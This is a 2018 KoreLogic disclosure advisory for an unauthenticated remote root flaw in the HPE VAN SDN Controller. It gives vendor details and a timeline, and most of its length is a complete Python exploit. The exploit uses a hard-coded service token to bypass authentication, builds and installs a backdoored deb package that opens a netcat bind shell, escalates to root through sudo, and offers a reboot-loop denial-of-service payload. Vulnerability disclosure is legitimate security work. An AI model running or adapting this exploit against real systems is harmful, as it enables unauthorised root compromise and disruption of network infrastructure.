HP Enterprise VAN SDN Controller version 2.7.18.0503 suffers from an unauthenticated remote root vulnerability. A hard-coded service token can be used to bypass authentication. Built-in functionality can be exploited to deploy and execute a malicious deb file containing a backdoor. A weak sudoers configuration can then be abused to escalate privileges to root. A second issue can be used to deny use of the appliance by continually rebooting it.
bf9904ea89edad3e901e6b2663316e90KL-001-2018-008 : HPE VAN SDN Unauthenticated Remote Root Vulnerability
Title: HPE VAN SDN Unauthenticated Remote Root Vulnerability
Advisory ID: KL-001-2018-008
Publication Date: 2018.06.25
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2018-008.txt
1. Vulnerability Details
Affected Vendor: HP Enterprise
Affected Product: VAN SDN Controller
Affected Version: 2.7.18.0503
Platform: Embedded Linux
CWE Classification: CWE-798: Use of Hard-coded Credentials,
CWE-20: Improper Input Validation
Impact: Privilege Escalation
Attack vector: HTTP
2. Vulnerability Description
A hardcoded service token can be used to bypass
authentication. Built-in functionality can be exploited
to deploy and execute a malicious deb file containing a
backdoor. A weak sudoers configuration can then be abused to
escalate privileges to root. A second issue can be used to
deny use of the appliance by continually rebooting it.
3. Technical Description
The exploit will automatically attempt to bypass authentication
unless the --no-auth-bypass flag is provided. If that flag is
provided, the --username and --password flags must also be given.
The options for the --payload flag are: rce-root and
pulse-reboot. The default option is rce-root. The pulse-reboot
payload will reboot the target device until the attack is stopped.
$ python hpevansdn-multiple_exploits.py --help
HPE VAN SDN Controller 2.7.18.0503
Unauthenticated Remote Root and Denial-of-Service
Usage: hpevansdn-multiple_exploits.py [options]
Options:
-h, --help show this help message and exit
--target=REMOTE_IP Target IP address
--no-auth-bypass No authentication bypass
--username=USERNAME Username (Default: sdn)
--password=PASSWORD Password (Default: skyline)
--payload=PAYLOAD Payload: rce-root(default), pulse-reboot
Below is output for the rce-root payload:
$ python hpevansdn-multiple_exploits.py --target 1.3.3.7
HPE VAN SDN Controller 2.7.18.0503
Unauthenticated Remote Root and Denial-of-Service
[+] Authentication successfully bypassed.
[-] Starting remote root exploit.
[-] Building backdoor.
[-] Uploading backdoor.
[+] Upload successful.
[-] Installing backdoor.
[+] Starting backdoor on port 49370.
[+] Connected to backdoor.
* For interactive root shell please run /var/lib/sdn/uploads/root-V6mlQNqW
id
uid=108(sdnadmin) gid=1000(sdn) groups=1000(sdn)
/var/lib/sdn/uploads/root-V6mlQNqW
root@medium-hLinux:/opt/sdn/admin# uname -a
Linux medium-hLinux 4.4.0-2-amd64-hlinux #hlinux1 SMP Thu Jan 28 12:35:26 UTC 2016 x86_64 GNU/Linux
root@medium-hLinux:/opt/sdn/admin# exit
[-] Removing backdoor.
[+] Backdoor removed.
4. Mitigation and Remediation Recommendation
The vendor issued the following statement:
HPE had evaluated the impact of service token being
leaked and previously updated the security procedure in
VAN 2.8.8 Admin Guide page 129. The full guide is here -
http://h20628.www2.hp.com/km-ext/kmcsdirect/emr_na-a00003662en_us-1.pdf.
HPE expects all customers to update their service token,
admin token, default sdn user password, and edit iptables as
described in the guideline. If the guideline was followed,
the exploit would not be successful.
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2018.02.16 - KoreLogic submits vulnerability details to HPE.
2018.02.16 - HPE acknowledges receipt.
2018.04.02 - 30 business days have elapsed since the vulnerability
was reported to HPE.
2018.04.23 - 45 business days have elapsed since the vulnerability
was reported to HPE.
2018.05.04 - KoreLogic requests an update on the status of the
remediation.
2018.05.14 - 60 business days have elapsed since the vulnerability
was reported to HPE.
2018.06.05 - 75 business days have elapsed since the vulnerability
was reported to HPE.
2018.06.11 - KoreLogic requests an update on the status of the
remediation.
2018.06.12 - HPE responds with the statement documented in Section
4. Mitigation and Remediation Recommendation.
2018.06.25 - KoreLogic public disclosure.
7. Proof of Concept
from optparse import OptionParser
from random import randrange,choice
from threading import Thread
from os import mkdir,makedirs,system,listdir,remove
from string import ascii_letters,digits
from subprocess import check_output
from requests import get,post
from requests.utils import dict_from_cookiejar
from requests.exceptions import ConnectionError
from time import sleep
from sys import exit
from json import dumps
#################################
# PULSE REBOOT TIMER IN SECONDS #
pulse_timer = 60 #
#################################
banner = """HPE VAN SDN Controller 2.7.18.0503
Unauthenticated Remote Root and Denial-of-Service
""".center(80)
class Backdoor:
def __init__(self):
######################################################################################
# ATTACK SHELL SCRIPT #
self.backdoor_port = randrange(50000,55000) #
self.backdoor_script = """#!/bin/sh\nnc -l -p PORT -e /bin/bash &""" # DONT CHANGE #
self.backdoor_dir = '%s-1.0.0' % ''.join( #
[choice(digits + ascii_letters) for i in xrange(8)] #
) #
self.backdoor_script = self.backdoor_script.replace('PORT',str(self.backdoor_port)) #
######################################################################################
self.cmd_name = ''.join([choice(digits + ascii_letters) for i in xrange(8)])
return None
def generate(self):
print '[-] Building backdoor.'
control_template = """Source: %s
Section: misc
Priority: extra
Maintainer: None
Homepage: http://127.0.0.1/
Version: 1.0.0
Package: %s
Architecture: all
Depends:
Description: %s
""" % (self.backdoor_dir,self.cmd_name,self.backdoor_dir)
try:
mkdir(self.backdoor_dir)
mkdir('%s/%s' % (self.backdoor_dir,'DEBIAN'))
fp = open('%s/%s/control' % (self.backdoor_dir,'DEBIAN'),'w')
fp.write(control_template)
fp.close()
makedirs('%s/var/lib/sdn/uploads/tmp' % (self.backdoor_dir))
fp = open('%s/var/lib/sdn/uploads/tmp/%s' % (self.backdoor_dir,self.cmd_name),'w')
fp.write(self.backdoor_script)
fp.close()
fp = open('%s/var/lib/sdn/uploads/root-%s' % (self.backdoor_dir,self.cmd_name),'w')
fp.write("""#!/bin/sh\nsudo -u sdn /usr/bin/sudo python -c 'import pty;pty.spawn("/bin/bash")'""")
fp.close()
system('chmod a+x %s/var/lib/sdn/uploads/tmp/%s' % (self.backdoor_dir,self.cmd_name))
system('chmod a+x %s/var/lib/sdn/uploads/root-%s' % (self.backdoor_dir,self.cmd_name))
if "dpkg-deb: building package" not in check_output(
['/usr/bin/dpkg-deb', '--build', '%s/' % (self.backdoor_dir)]
):
print '[!] Could not build attack deb file. Reason: DPKG failure.'
except Exception as e:
print '[!] Could not build attack deb file. Reason: %s.' % (e)
return '%s.deb' % self.backdoor_dir,self.cmd_name,self.backdoor_port
class HTTP:
def __init__(self):
return None
def is_service_token_enabled(self):
url = 'https://%s:8443/sdn/ui/app/rs/hpws/config' % (self.target)
try:
r = get(url, headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent}, verify=False,
allow_redirects=False)
if r.status_code == 200:
return True
except ConnectionError:
print '[!] Connection to target service failed.'
exit(1)
return False
def get_session_token(self):
url = 'https://%s:8443/sdn/ui/app/login' % (self.target)
try:
r = post(url, headers={"User-Agent":self.user_agent},verify=False, data="username=%s&password=%s" %
(self.username,self.password), allow_redirects=False)
if r.status_code == 303:
self.session_token = dict_from_cookiejar(r.cookies)['X-Auth-Token']
return True
except ConnectionError:
print '[!] Connection to target service failed.'
exit(1)
return False
def upload_deb(self):
print '[-] Uploading backdoor.'
url = 'https://%s:8081/upload' % (self.target)
try:
fp = open('%s' % (self.deb_name),'rb')
data = fp.read()
fp.close()
try:
r =
post(url,headers={"X-Auth-Token":self.session_token,"Filename":self.deb_name,"User-Agent":self.user_agent},verify=False,data=data)
if r.status_code == 200:
print '[+] Upload successful.'
return True
else:
print '[!] Upload failed. Please try again.'
except ConnectionError:
print '[!] Connection to target service failed.'
exit(1)
except Exception as e:
print '[!] Failed to write backdoor to disk. Reason: %s.' % (e)
return False
def install_deb(self):
print '[-] Installing backdoor.'
url = 'https://%s:8081/' % (self.target)
post_body = dumps({"action":"install","name":self.deb_name})
try:
r =
post(url,headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent},verify=False,data=post_body)
if r.status_code == 200:
return True
except ConnectionError:
print '[!] Connection to target service failed.'
exit(1)
return False
def start_shell(self):
print '[+] Starting backdoor on port %d.' % (self.backdoor_port)
url = 'https://%s:8081/' % (self.target)
post_body = dumps({"action":"exec","name":self.cmd_name})
try:
r =
post(url,headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent},verify=False,data=post_body)
if r.status_code == 200:
return True
except ConnectionError:
print '[!] Connection to target service failed.'
exit(1)
return False
def uninstall_deb(self):
print '[-] Removing backdoor.'
url = 'https://%s:8081/' % (self.target)
post_body = dumps({"action":"uninstall","name":self.deb_name})
try:
r =
post(url,headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent},verify=False,data=post_body)
if r.status_code == 200:
return True
except ConnectionError:
print '[!] Connection to target service failed.'
exit(1)
return False
def send_reboot(self):
print '[+] Sending reboot.'
url = 'https://%s:8081/' % (self.target)
post_body = dumps({"action":"reboot"})
try:
r =
post(url,headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent},verify=False,data=post_body)
except ConnectionError:
print '[!] Connection to target service failed.'
exit(1)
return False
class Exploit(HTTP):
def __init__(self,target=None,noauthbypass=None,
username=None,password=None,payload=None):
self.target = target
self.noauthbypass = noauthbypass
self.username = username
self.password = password
self.payload = payload
self.deb_name = ''
self.cmd_name = ''
self.backdoor_port = 0
self.session_token = 'AuroraSdnToken37'
self.user_agent = choice(['Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML,
like Gecko) Version/5.0 Safari/531.2+',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; it-it)
AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1',
'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1; .NET CLR
1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like
Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10'])
return None
def drop_root(self):
sleep(3)
print '[+] Connected to backdoor.\n\t* For interactive root shell please run /var/lib/sdn/uploads/root-%s'
% (self.cmd_name)
system('nc %s %s' % (self.target,self.backdoor_port))
return False
def run(self):
if not self.is_service_token_enabled() or self.noauthbypass == True:
print '[-] Authentication bypass failed or running with --no-auth-bypass. Attempting login.'
if not self.get_session_token():
print '[!] Login failed. Exploit failed.'
exit(1)
else:
print '[+] Authentication successfully bypassed.'
if self.payload == 'rce-root':
print '[-] Starting remote root exploit.'
self.deb_name, self.cmd_name, self.backdoor_port = Backdoor().generate()
if self.upload_deb():
if self.install_deb():
Thread(target=self.start_shell,args=(),name="shell-%s" % (self.cmd_name)).start()
try:
self.drop_root()
except KeyboardInterrupt:
print '[-] Disconnecting from backdoor.'
return True
if self.uninstall_deb():
print '[+] Backdoor removed.'
else:
print '[!] Could not remove backdoor.'
return True
else:
print '[!] Failed to install backdoor.'
exit(1)
else:
print '[!] Failed to upload backdoor.'
exit(1)
print "[-] Please remember to srm %s and the build directory %s/" %
(self.deb_name,self.deb_name.replace('.deb',''))
else:
print '[-] Starting pulse reboot exploit.'
while True:
try:
self.send_reboot()
sleep(pulse_timer)
except KeyboardInterrupt:
print '[-] Reboot pulse Denial-of-Service stopped.'
break
return False
if __name__=="__main__":
print banner
parser = OptionParser()
parser.add_option("--target",dest="remote_ip",default='',help="Target IP address")
parser.add_option("--no-auth-bypass",action="store_true",default=False,help="No authentication bypass")
parser.add_option("--username",dest="username",default="sdn",help="Username (Default: sdn)")
parser.add_option("--password",dest="password",default="skyline",help="Password (Default: skyline)")
parser.add_option("--payload",dest="payload",default='rce-root',help="Payload: rce-root(default), pulse-reboot")
o, a = parser.parse_args()
if o.remote_ip != '':
Exploit(target=o.remote_ip,
noauthbypass=o.no_auth_bypass,
username=o.username,
password=o.password,
payload=o.payload).run()
else:
print '[!] --target must be supplied.'
The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt